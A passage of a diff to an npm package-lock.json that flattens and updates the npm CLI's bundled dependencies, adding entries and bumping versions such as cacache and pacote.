"agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + } + }, + "agentkeepalive": { + "version": "3.4.1", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + } + }, + "ansi-align": { + "version": "2.0.0", + "bundled": true, + "requires": { + "string-width": "2.1.1" + } + }, "ansi-regex": { - "version": "3.0.0", + "version": "2.1.1", "bundled": true }, + "ansi-styles": { + "version": "3.2.1", + "bundled": true, + "requires": { + "color-convert": "1.9.1" + } + }, "ansicolors": { "version": "0.3.2", "bundled": true @@ -6289,295 +9935,226 @@ "version": "1.0.0", "bundled": true }, + "are-we-there-yet": { + "version": "1.1.4", + "bundled": true, + "requires": { + "delegates": "1.0.0", + "readable-stream": "2.3.6" + } + }, + "asap": { + "version": "2.0.6", + "bundled": true + }, + "asn1": { + "version": "0.2.3", + "bundled": true + }, + "assert-plus": { + "version": "0.2.0", + "bundled": true + }, + "asynckit": { + "version": "0.4.0", + "bundled": true + }, + "aws-sign2": { + "version": "0.6.0", + "bundled": true + }, + "aws4": { + "version": "1.7.0", + "bundled": true + }, + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "bundled": true, + "optional": true, + "requires": { + "tweetnacl": "0.14.5" + } + }, "bin-links": { - "version": "1.1.0", + "version": "1.1.2", "bundled": true, "requires": { "bluebird": "3.5.1", "cmd-shim": "2.0.2", - "fs-write-stream-atomic": "1.0.10", "gentle-fs": "2.0.1", "graceful-fs": "4.1.11", - "slide": "1.1.6" + "write-file-atomic": "2.3.0" + } + }, + "block-stream": { + "version": "0.0.9", + "bundled": true, + "requires": { + "inherits": "2.0.3" } }, "bluebird": { "version": "3.5.1", "bundled": true }, + "boom": { + "version": "2.10.1", + "bundled": true, + "requires": { + "hoek": "2.16.3" + } + }, + "boxen": { + "version": "1.3.0", + "bundled": true, + "requires": { + "ansi-align": "2.0.0", + "camelcase": "4.1.0", + "chalk": "2.4.1", + "cli-boxes": "1.0.0", + "string-width": "2.1.1", + "term-size": "1.2.0", + "widest-line": "2.0.0" + } + }, + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + } + }, + "buffer-from": { + "version": "1.0.0", + "bundled": true + }, + "builtin-modules": { + "version": "1.1.1", + "bundled": true + }, + "builtins": { + "version": "1.0.3", + "bundled": true + }, + "byline": { + "version": "5.0.0", + "bundled": true + }, "byte-size": { - "version": "4.0.2", + "version": "4.0.3", "bundled": true }, "cacache": { - "version": "10.0.4", + "version": "11.1.0", "bundled": true, "requires": { "bluebird": "3.5.1", "chownr": "1.0.1", + "figgy-pudding": "3.2.0", "glob": "7.1.2", "graceful-fs": "4.1.11", - "lru-cache": "4.1.2", - "mississippi": "2.0.0", + "lru-cache": "4.1.3", + "mississippi": "3.0.0", "mkdirp": "0.5.1", "move-concurrently": "1.0.1", "promise-inflight": "1.0.1", "rimraf": "2.6.2", - "ssri": "5.3.0", + "ssri": "6.0.0", "unique-filename": "1.1.0", "y18n": "4.0.0" - }, - "dependencies": { - "mississippi": { - "version": "2.0.0", - "bundled": true, - "requires": { - "concat-stream": "1.6.1", - "duplexify": "3.5.4", - "end-of-stream": "1.4.1", - "flush-write-stream": "1.0.2", - "from2": "2.3.0", - "parallel-transform": "1.1.0", - "pump": "2.0.1", - "pumpify": "1.4.0", - "stream-each": "1.2.2", - "through2": "2.0.3" - }, - "dependencies": { - "concat-stream": { - "version": "1.6.1", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "typedarray": "0.0.6" - }, - "dependencies": { - "typedarray": { - "version": "0.0.6", - "bundled": true - } - } - }, - "duplexify": { - "version": "3.5.4", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "inherits": "2.0.3", - "readable-stream": "2.3.6", - "stream-shift": "1.0.0" - }, - "dependencies": { - "stream-shift": { - "version": "1.0.0", - "bundled": true - } - } - }, - "end-of-stream": { - "version": "1.4.1", - "bundled": true, - "requires": { - "once": "1.4.0" - } - }, - "flush-write-stream": { - "version": "1.0.2", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" - } - }, - "from2": { - "version": "2.3.0", - "bundled": true, - "requires": { - "inherits": "2.0.3", - "readable-stream": "2.3.6" - } - }, - "parallel-transform": { - "version": "1.1.0", - "bundled": true, - "requires": { - "cyclist": "0.2.2", - "inherits": "2.0.3", - "readable-stream": "2.3.6" - }, - "dependencies": { - "cyclist": { - "version": "0.2.2", - "bundled": true - } - } - }, - "pump": { - "version": "2.0.1", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" - } - }, - "pumpify": { - "version": "1.4.0", - "bundled": true, - "requires": { - "duplexify": "3.5.4", - "inherits": "2.0.3", - "pump": "2.0.1" - } - }, - "stream-each": { - "version": "1.2.2", - "bundled": true, - "requires": { - "end-of-stream": "1.4.1", - "stream-shift": "1.0.0" - }, - "dependencies": { - "stream-shift": { - "version": "1.0.0", - "bundled": true - } - } - }, - "through2": { - "version": "2.0.3", - "bundled": true, - "requires": { - "readable-stream": "2.3.6", - "xtend": "4.0.1" - }, - "dependencies": { - "xtend": { - "version": "4.0.1", - "bundled": true - } - } - } - } - }, - "y18n": { - "version": "4.0.0", - "bundled": true - } } }, "call-limit": { "version": "1.1.0", "bundled": true }, + "camelcase": { + "version": "4.1.0", + "bundled": true + }, + "capture-stack-trace": { + "version": "1.0.0", + "bundled": true + }, + "caseless": { + "version": "0.12.0", + "bundled": true + }, + "chalk": { + "version": "2.4.1", + "bundled": true, + "requires": { + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" + } + }, "chownr": { "version": "1.0.1", "bundled": true }, + "ci-info": { + "version": "1.1.3", + "bundled": true + }, + "cidr-regex": { + "version": "2.0.9", + "bundled": true, + "requires": { + "ip-regex": "2.1.0" + } + }, + "cli-boxes": { + "version": "1.0.0", + "bundled": true + }, "cli-columns": { "version": "3.1.2", "bundled": true, "requires": { "string-width": "2.1.1", "strip-ansi": "3.0.1" + } + }, + "cli-table3": { + "version": "0.5.0", + "bundled": true, + "requires": { + "colors": "1.3.0", + "object-assign": "4.1.1", + "string-width": "2.1.1" + } + }, + "cliui": { + "version": "4.1.0", + "bundled": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" }, "dependencies": { - "string-width": { - "version": "2.1.1", - "bundled": true, - "requires": { - "is-fullwidth-code-point": "2.0.0", - "strip-ansi": "4.0.0" - }, - "dependencies": { - "is-fullwidth-code-point": { - "version": "2.0.0", - "bundled": true - }, - "strip-ansi": { - "version": "4.0.0", - "bundled": true, - "requires": { - "ansi-regex": "3.0.0" - } - } - } + "ansi-regex": { + "version": "3.0.0", + "bundled": true }, "strip-ansi": { - "version": "3.0.1", + "version": "4.0.0", "bundled": true, "requires": { - "ansi-regex": "2.1.1" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "bundled": true - } + "ansi-regex": "3.0.0" } } } }, - "cli-table2": { - "version": "0.2.0", - "bundled": true, - "requires": { - "colors": "1.1.2", - "lodash": "3.10.1", - "string-width": "1.0.2" - }, - "dependencies": { - "colors": { - "version": "1.1.2", - "bundled": true, - "optional": true - }, - "lodash": { - "version": "3.10.1", - "bundled": true - }, - "string-width": { - "version": "1.0.2", - "bundled": true, - "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" - }, - "dependencies": { - "code-point-at": { - "version": "1.1.0", - "bundled": true - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "bundled": true, - "requires": { - "number-is-nan": "1.0.1" - }, - "dependencies": { - "number-is-nan": { - "version": "1.0.1", - "bundled": true - } - } - }, - "strip-ansi": { - "version": "3.0.1", - "bundled": true, - "requires": { - "ansi-regex": "2.1.1" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "bundled": true - } - } - } - } - } - } + "clone": { + "version": "1.0.4", + "bundled": true }, "cmd-shim": { "version": "2.0.2", @@ -6587,49 +10164,57 @@ "mkdirp": "0.5.1" } }, + "co": { + "version": "4.6.0", + "bundled": true + }, + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "color-convert": { + "version": "1.9.1", + "bundled": true, + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "bundled": true + }, + "colors": { + "version": "1.3.0", + "bundled": true, + "optional": true + }, "columnify": { "version": "1.5.4", "bundled": true, "requires": { "strip-ansi": "3.0.1", "wcwidth": "1.0.1" - }, - "dependencies": { - "strip-ansi": { - "version": "3.0.1", - "bundled": true, - "requires": { - "ansi-regex": "2.1.1" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "bundled": true - } - } - }, - "wcwidth": { - "version": "1.0.1", - "bundled": true, - "requires": { - "defaults": "1.0.3" - }, - "dependencies": { - "defaults": { - "version": "1.0.3", - "bundled": true, - "requires": { - "clone": "1.0.2" - }, - "dependencies": { - "clone": { - "version": "1.0.2", - "bundled": true - } - } - } - } - } + } + }, + "combined-stream": { + "version": "1.0.6", + "bundled": true, + "requires": { + "delayed-stream": "1.0.0" + } + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + }, + "concat-stream": { + "version": "1.6.2", + "bundled": true, + "requires": { + "buffer-from": "1.0.0", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "typedarray": "0.0.6" } }, "config-chain": { @@ -6638,10 +10223,99 @@ "requires": { "ini": "1.3.5", "proto-list": "1.2.4" + } + }, + "configstore": { + "version": "3.1.2", + "bundled": true, + "requires": { + "dot-prop": "4.2.0", + "graceful-fs": "4.1.11", + "make-dir": "1.3.0", + "unique-string": "1.0.0", + "write-file-atomic": "2.3.0", + "xdg-basedir": "3.0.0" + } + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true + }, + "copy-concurrently": { + "version": "1.0.5", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "fs-write-stream-atomic": "1.0.10", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" }, "dependencies": { - "proto-list": { - "version": "1.2.4", + "iferr": { + "version": "0.1.5", + "bundled": true + } + } + }, + "core-util-is": { + "version": "1.0.2", + "bundled": true + }, + "create-error-class": { + "version": "3.0.2", + "bundled": true, + "requires": { + "capture-stack-trace": "1.0.0" + } + }, + "cross-spawn": { + "version": "5.1.0", + "bundled": true, + "requires": { + "lru-cache": "4.1.3", + "shebang-command": "1.2.0", + "which": "1.3.1" + } + }, + "cryptiles": { + "version": "2.0.5", + "bundled": true, + "requires": { + "boom": "2.10.1" + } + }, + "crypto-random-string": { + "version": "1.0.0", + "bundled": true + }, + "cyclist": { + "version": "0.2.2", + "bundled": true + }, + "dashdash": { + "version": "1.14.1", + "bundled": true, + "requires": { + "assert-plus": "1.0.0" + }, + "dependencies": { + "assert-plus": { + "version": "1.0.0", + "bundled": true + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", "bundled": true } } @@ -6650,6 +10324,33 @@ "version": "1.0.1", "bundled": true }, + "decamelize": { + "version": "1.2.0", + "bundled": true + }, + "decode-uri-component": { + "version": "0.2.0", + "bundled": true + }, + "deep-extend": { + "version": "0.5.1", + "bundled": true + }, + "defaults": { + "version": "1.0.3", + "bundled": true, + "requires": { + "clone": "1.0.4" + } + }, + "delayed-stream": { + "version": "1.0.0", + "bundled": true + }, + "delegates": { + "version": "1.0.0", + "bundled": true + }, "detect-indent": { "version": "5.0.0", "bundled": true @@ -6662,24 +10363,159 @@ "version": "1.0.3", "bundled": true, "requires": { - "asap": "2.0.5", + "asap": "2.0.6", "wrappy": "1.0.2" - }, - "dependencies": { - "asap": { - "version": "2.0.5", - "bundled": true - } + } + }, + "dot-prop": { + "version": "4.2.0", + "bundled": true, + "requires": { + "is-obj": "1.0.1" + } + }, + "dotenv": { + "version": "5.0.1", + "bundled": true + }, + "duplexer3": { + "version": "0.1.4", + "bundled": true + }, + "duplexify": { + "version": "3.6.0", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + } + }, + "ecc-jsbn": { + "version": "0.1.1", + "bundled": true, + "optional": true, + "requires": { + "jsbn": "0.1.1" } }, "editor": { "version": "1.0.0", "bundled": true }, + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.23" + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "err-code": { + "version": "1.1.2", + "bundled": true + }, + "errno": { + "version": "0.1.7", + "bundled": true, + "requires": { + "prr": "1.0.1" + } + }, + "es6-promise": { + "version": "4.2.4", + "bundled": true + }, + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "bundled": true + }, + "execa": { + "version": "0.7.0", + "bundled": true, + "requires": { + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + } + }, + "extend": { + "version": "3.0.1", + "bundled": true + }, + "extsprintf": { + "version": "1.3.0", + "bundled": true + }, + "figgy-pudding": { + "version": "3.2.0", + "bundled": true + }, "find-npm-prefix": { "version": "1.0.2", "bundled": true }, + "find-up": { + "version": "2.1.0", + "bundled": true, + "requires": { + "locate-path": "2.0.0" + } + }, + "flush-write-stream": { + "version": "1.0.3", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "forever-agent": { + "version": "0.6.1", + "bundled": true + }, + "form-data": { + "version": "2.1.4", + "bundled": true, + "requires": { + "asynckit": "0.4.0", + "combined-stream": "1.0.6", + "mime-types": "2.1.18" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "fs-minipass": { + "version": "1.2.5", + "bundled": true, + "requires": { + "minipass": "2.3.3" + } + }, "fs-vacuum": { "version": "1.2.10", "bundled": true, @@ -6697,8 +10533,57 @@ "iferr": "0.1.5", "imurmurhash": "0.1.4", "readable-stream": "2.3.6" + }, + "dependencies": { + "iferr": { + "version": "0.1.5", + "bundled": true + } } }, + "fs.realpath": { + "version": "1.0.0", + "bundled": true + }, + "fstream": { + "version": "1.0.11", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.6.2" + } + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" + }, + "dependencies": { + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + } + } + } + }, + "genfun": { + "version": "4.0.1", + "bundled": true + }, "gentle-fs": { "version": "2.0.1", "bundled": true, @@ -6711,6 +10596,33 @@ "path-is-inside": "1.0.2", "read-cmd-shim": "1.0.1", "slide": "1.1.6" + }, + "dependencies": { + "iferr": { + "version": "0.1.5", + "bundled": true + } + } + }, + "get-caller-file": { + "version": "1.0.2", + "bundled": true + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "getpass": { + "version": "0.1.7", + "bundled": true, + "requires": { + "assert-plus": "1.0.0" + }, + "dependencies": { + "assert-plus": { + "version": "1.0.0", + "bundled": true + } } }, "glob": { @@ -6723,59 +10635,140 @@ "minimatch": "3.0.4", "once": "1.4.0", "path-is-absolute": "1.0.1" - }, - "dependencies": { - "fs.realpath": { - "version": "1.0.0", - "bundled": true - }, - "minimatch": { - "version": "3.0.4", - "bundled": true, - "requires": { - "brace-expansion": "1.1.8" - }, - "dependencies": { - "brace-expansion": { - "version": "1.1.8", - "bundled": true, - "requires": { - "balanced-match": "1.0.0", - "concat-map": "0.0.1" - }, - "dependencies": { - "balanced-match": { - "version": "1.0.0", - "bundled": true - }, - "concat-map": { - "version": "0.0.1", - "bundled": true - } - } - } - } - }, - "path-is-absolute": { - "version": "1.0.1", - "bundled": true - } + } + }, + "global-dirs": { + "version": "0.1.1", + "bundled": true, + "requires": { + "ini": "1.3.5" + } + }, + "got": { + "version": "6.7.1", + "bundled": true, + "requires": { + "create-error-class": "3.0.2", + "duplexer3": "0.1.4", + "get-stream": "3.0.0", + "is-redirect": "1.0.0", + "is-retry-allowed": "1.1.0", + "is-stream": "1.1.0", + "lowercase-keys": "1.0.1", + "safe-buffer": "5.1.2", + "timed-out": "4.0.1", + "unzip-response": "2.0.1", + "url-parse-lax": "1.0.0" } }, "graceful-fs": { "version": "4.1.11", "bundled": true }, + "har-schema": { + "version": "1.0.5", + "bundled": true + }, + "har-validator": { + "version": "4.2.1", + "bundled": true, + "requires": { + "ajv": "4.11.8", + "har-schema": "1.0.5" + }, + "dependencies": { + "ajv": { + "version": "4.11.8", + "bundled": true, + "requires": { + "co": "4.6.0", + "json-stable-stringify": "1.0.1" + } + } + } + }, + "has-flag": { + "version": "3.0.0", + "bundled": true + }, "has-unicode": { "version": "2.0.1", "bundled": true }, + "hawk": { + "version": "3.1.3", + "bundled": true, + "requires": { + "boom": "2.10.1", + "cryptiles": "2.0.5", + "hoek": "2.16.3", + "sntp": "1.0.9" + } + }, + "hoek": { + "version": "2.16.3", + "bundled": true + }, "hosted-git-info": { "version": "2.6.0", "bundled": true }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.1.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + } + }, + "http-signature": { + "version": "1.1.1", + "bundled": true, + "requires": { + "assert-plus": "0.2.0", + "jsprim": "1.4.1", + "sshpk": "1.14.2" + } + }, + "https-proxy-agent": { + "version": "2.2.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + } + }, + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + } + }, + "iconv-lite": { + "version": "0.4.23", + "bundled": true, + "requires": { + "safer-buffer": "2.1.2" + } + }, "iferr": { - "version": "0.1.5", + "version": "1.0.0", + "bundled": true + }, + "ignore-walk": { + "version": "3.0.1", + "bundled": true, + "requires": { + "minimatch": "3.0.4" + } + }, + "import-lazy": { + "version": "2.1.0", "bundled": true }, "imurmurhash": { @@ -6810,92 +10803,201 @@ "semver": "5.5.0", "validate-npm-package-license": "3.0.3", "validate-npm-package-name": "3.0.0" - }, - "dependencies": { - "promzard": { - "version": "0.3.0", - "bundled": true, - "requires": { - "read": "1.0.7" - } - } } }, - "is-cidr": { + "invert-kv": { + "version": "1.0.0", + "bundled": true + }, + "ip": { + "version": "1.1.5", + "bundled": true + }, + "ip-regex": { + "version": "2.1.0", + "bundled": true + }, + "is-builtin-module": { "version": "1.0.0", "bundled": true, "requires": { - "cidr-regex": "1.0.6" - }, - "dependencies": { - "cidr-regex": { - "version": "1.0.6", - "bundled": true - } + "builtin-modules": "1.1.1" } }, + "is-ci": { + "version": "1.1.0", + "bundled": true, + "requires": { + "ci-info": "1.1.3" + } + }, + "is-cidr": { + "version": "2.0.6", + "bundled": true, + "requires": { + "cidr-regex": "2.0.9" + } + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + } + }, + "is-installed-globally": { + "version": "0.1.0", + "bundled": true, + "requires": { + "global-dirs": "0.1.1", + "is-path-inside": "1.0.1" + } + }, + "is-npm": { + "version": "1.0.0", + "bundled": true + }, + "is-obj": { + "version": "1.0.1", + "bundled": true + }, + "is-path-inside": { + "version": "1.0.1", + "bundled": true, + "requires": { + "path-is-inside": "1.0.2" + } + }, + "is-redirect": { + "version": "1.0.0", + "bundled": true + }, + "is-retry-allowed": { + "version": "1.1.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "is-typedarray": { + "version": "1.0.0", + "bundled": true + }, + "isarray": { + "version": "1.0.0", + "bundled": true + }, + "isexe": { + "version": "2.0.0", + "bundled": true + }, + "isstream": { + "version": "0.1.2", + "bundled": true + }, + "jsbn": { + "version": "0.1.1", + "bundled": true, + "optional": true + }, "json-parse-better-errors": { "version": "1.0.2", "bundled": true }, + "json-schema": { + "version": "0.2.3", + "bundled": true + }, + "json-stable-stringify": { + "version": "1.0.1", + "bundled": true, + "requires": { + "jsonify": "0.0.0" + } + }, + "json-stringify-safe": { + "version": "5.0.1", + "bundled": true + }, + "jsonify": { + "version": "0.0.0", + "bundled": true + }, + "jsonparse": { + "version": "1.3.1", + "bundled": true + }, + "jsprim": { + "version": "1.4.1", + "bundled": true, + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + }, + "dependencies": { + "assert-plus": { + "version": "1.0.0", + "bundled": true + } + } + }, + "latest-version": { + "version": "3.1.0", + "bundled": true, + "requires": { + "package-json": "4.0.1" + } + }, "lazy-property": { "version": "1.0.0", "bundled": true }, - "libcipm": { - "version": "1.6.2", + "lcid": { + "version": "1.0.0", "bundled": true, "requires": { - "bin-links": "1.1.0", + "invert-kv": "1.0.0" + } + }, + "libcipm": { + "version": "2.0.0", + "bundled": true, + "requires": { + "bin-links": "1.1.2", "bluebird": "3.5.1", "find-npm-prefix": "1.0.2", "graceful-fs": "4.1.11", - "lock-verify": "2.0.1", - "npm-lifecycle": "2.0.1", + "lock-verify": "2.0.2", + "npm-lifecycle": "2.0.3", "npm-logical-tree": "1.2.1", "npm-package-arg": "6.1.0", - "pacote": "7.6.1", + "pacote": "8.1.6", "protoduck": "5.0.0", "read-package-json": "2.0.13", "rimraf": "2.6.2", "worker-farm": "1.6.0" + } + }, + "libnpmhook": { + "version": "4.0.1", + "bundled": true, + "requires": { + "figgy-pudding": "3.2.0", + "npm-registry-fetch": "3.1.1" }, "dependencies": { - "lock-verify": { - "version": "2.0.1", + "npm-registry-fetch": { + "version": "3.1.1", "bundled": true, "requires": { - "npm-package-arg": "5.1.2", - "semver": "5.5.0" - }, - "dependencies": { - "npm-package-arg": { - "version": "5.1.2", - "bundled": true, - "requires": { - "hosted-git-info": "2.6.0", - "osenv": "0.1.5", - "semver": "5.5.0", - "validate-npm-package-name": "3.0.0" - } - } - } - }, - "npm-logical-tree": { - "version": "1.2.1", - "bundled": true - }, - "protoduck": { - "version": "5.0.0", - "bundled": true, - "requires": { - "genfun": "4.0.1" - }, - "dependencies": { - "genfun": { - "version": "4.0.1", - "bundled": true - } + "bluebird": "3.5.1", + "figgy-pudding": "3.2.0", + "lru-cache": "4.1.3", + "make-fetch-happen": "4.0.1", + "npm-package-arg": "6.1.0" } } } @@ -6909,310 +11011,17 @@ "rimraf": "2.6.2", "safe-buffer": "5.1.2", "update-notifier": "2.5.0", - "which": "1.3.0", + "which": "1.3.1", "y18n": "4.0.0", "yargs": "11.0.0" - }, - "dependencies": { - "dotenv": { - "version": "5.0.1", - "bundled": true - }, - "y18n": { - "version": "4.0.0", - "bundled": true - }, - "yargs": { - "version": "11.0.0", - "bundled": true, - "requires": { - "cliui": "4.1.0", - "decamelize": "1.2.0", - "find-up": "2.1.0", - "get-caller-file": "1.0.2", - "os-locale": "2.1.0", - "require-directory": "2.1.1", - "require-main-filename": "1.0.1", - "set-blocking": "2.0.0", - "string-width": "2.1.1", - "which-module": "2.0.0", - "y18n": "3.2.1", - "yargs-parser": "9.0.2" - }, - "dependencies": { - "cliui": { - "version": "4.1.0", - "bundled": true, - "requires": { - "string-width": "2.1.1", - "strip-ansi": "4.0.0", - "wrap-ansi": "2.1.0" - }, - "dependencies": { - "wrap-ansi": { - "version": "2.1.0", - "bundled": true, - "requires": { - "string-width": "1.0.2", - "strip-ansi": "3.0.1" - }, - "dependencies": { - "string-width": { - "version": "1.0.2", - "bundled": true, - "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" - }, - "dependencies": { - "code-point-at": { - "version": "1.1.0", - "bundled": true - }, - "is-fullwidth-code-point": { - "version": "1.0.0", - "bundled": true, - "requires": { - "number-is-nan": "1.0.1" - }, - "dependencies": { - "number-is-nan": { - "version": "1.0.1", - "bundled": true - } - } - } - } - }, - "strip-ansi": { - "version": "3.0.1", - "bundled": true, - "requires": { - "ansi-regex": "2.1.1" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "bundled": true - } - } - } - } - } - } - }, - "decamelize": { - "version": "1.2.0", - "bundled": true - }, - "find-up": { - "version": "2.1.0", - "bundled": true, - "requires": { - "locate-path": "2.0.0" - }, - "dependencies": { - "locate-path": { - "version": "2.0.0", - "bundled": true, - "requires": { - "p-locate": "2.0.0", - "path-exists": "3.0.0" - }, - "dependencies": { - "p-locate": { - "version": "2.0.0", - "bundled": true, - "requires": { - "p-limit": "1.2.0" - }, - "dependencies": { - "p-limit": { - "version": "1.2.0", - "bundled": true, - "requires": { - "p-try": "1.0.0" - }, - "dependencies": { - "p-try": { - "version": "1.0.0", - "bundled": true - } - } - } - } - }, - "path-exists": { - "version": "3.0.0", - "bundled": true - } - } - } - } - }, - "get-caller-file": { - "version": "1.0.2", - "bundled": true - }, - "os-locale": { - "version": "2.1.0", - "bundled": true, - "requires": { - "execa": "0.7.0", - "lcid": "1.0.0", - "mem": "1.1.0" - }, - "dependencies": { - "execa": { - "version": "0.7.0", - "bundled": true, - "requires": { - "cross-spawn": "5.1.0", - "get-stream": "3.0.0", - "is-stream": "1.1.0", - "npm-run-path": "2.0.2", - "p-finally": "1.0.0", - "signal-exit": "3.0.2", - "strip-eof": "1.0.0" - }, - "dependencies": { - "cross-spawn": { - "version": "5.1.0", - "bundled": true, - "requires": { - "lru-cache": "4.1.2", - "shebang-command": "1.2.0", - "which": "1.3.0" - }, - "dependencies": { - "shebang-command": { - "version": "1.2.0", - "bundled": true, - "requires": { - "shebang-regex": "1.0.0" - }, - "dependencies": { - "shebang-regex": { - "version": "1.0.0", - "bundled": true - } - } - } - } - }, - "get-stream": { - "version": "3.0.0", - "bundled": true - }, - "is-stream": { - "version": "1.1.0", - "bundled": true - }, - "npm-run-path": { - "version": "2.0.2", - "bundled": true, - "requires": { - "path-key": "2.0.1" - }, - "dependencies": { - "path-key": { - "version": "2.0.1", - "bundled": true - } - } - }, - "p-finally": { - "version": "1.0.0", - "bundled": true - }, - "signal-exit": { - "version": "3.0.2", - "bundled": true - }, - "strip-eof": { - "version": "1.0.0", - "bundled": true - } - } - }, - "lcid": { - "version": "1.0.0", - "bundled": true, - "requires": { - "invert-kv": "1.0.0" - }, - "dependencies": { - "invert-kv": { - "version": "1.0.0", - "bundled": true - } - } - }, - "mem": { - "version": "1.1.0", - "bundled": true, - "requires": { - "mimic-fn": "1.2.0" - }, - "dependencies": { - "mimic-fn": { - "version": "1.2.0", - "bundled": true - } - } - } - } - }, - "require-directory": { - "version": "2.1.1", - "bundled": true - }, - "require-main-filename": { - "version": "1.0.1", - "bundled": true - }, - "set-blocking": { - "version": "2.0.0", - "bundled": true - }, - "string-width": { - "version": "2.1.1", - "bundled": true, - "requires": { - "is-fullwidth-code-point": "2.0.0", - "strip-ansi": "4.0.0" - }, - "dependencies": { - "is-fullwidth-code-point": { - "version": "2.0.0", - "bundled": true - } - } - }, - "which-module": { - "version": "2.0.0", - "bundled": true - }, - "y18n": { - "version": "3.2.1", - "bundled": true - }, - "yargs-parser": { - "version": "9.0.2", - "bundled": true, - "requires": { - "camelcase": "4.1.0" - }, - "dependencies": { - "camelcase": { - "version": "4.1.0", - "bundled": true - } - } - } - } - } + } + }, + "locate-path": { + "version": "2.0.0", + "bundled": true, + "requires": { + "p-locate": "2.0.0", + "path-exists": "3.0.0" } }, "lock-verify": { @@ -7228,12 +11037,6 @@ "bundled": true, "requires": { "signal-exit": "3.0.2" - }, - "dependencies": { - "signal-exit": { - "version": "3.0.2", - "bundled": true - } } }, "lodash._baseindexof": { @@ -7246,16 +11049,6 @@ "requires": { "lodash._createset": "4.0.3", "lodash._root": "3.0.1" - }, - "dependencies": { - "lodash._createset": { - "version": "4.0.3", - "bundled": true - }, - "lodash._root": { - "version": "3.0.1", - "bundled": true - } } }, "lodash._bindcallback": { @@ -7273,10 +11066,18 @@ "lodash._getnative": "3.9.1" } }, + "lodash._createset": { + "version": "4.0.3", + "bundled": true + }, "lodash._getnative": { "version": "3.9.1", "bundled": true }, + "lodash._root": { + "version": "3.0.1", + "bundled": true + }, "lodash.clonedeep": { "version": "4.5.0", "bundled": true @@ -7297,168 +11098,114 @@ "version": "4.4.0", "bundled": true }, + "lowercase-keys": { + "version": "1.0.1", + "bundled": true + }, "lru-cache": { - "version": "4.1.2", + "version": "4.1.3", "bundled": true, "requires": { "pseudomap": "1.0.2", "yallist": "2.1.2" - }, - "dependencies": { - "pseudomap": { - "version": "1.0.2", - "bundled": true - }, - "yallist": { - "version": "2.1.2", - "bundled": true - } + } + }, + "make-dir": { + "version": "1.3.0", + "bundled": true, + "requires": { + "pify": "3.0.0" + } + }, + "make-fetch-happen": { + "version": "4.0.1", + "bundled": true, + "requires": { + "agentkeepalive": "3.4.1", + "cacache": "11.1.0", + 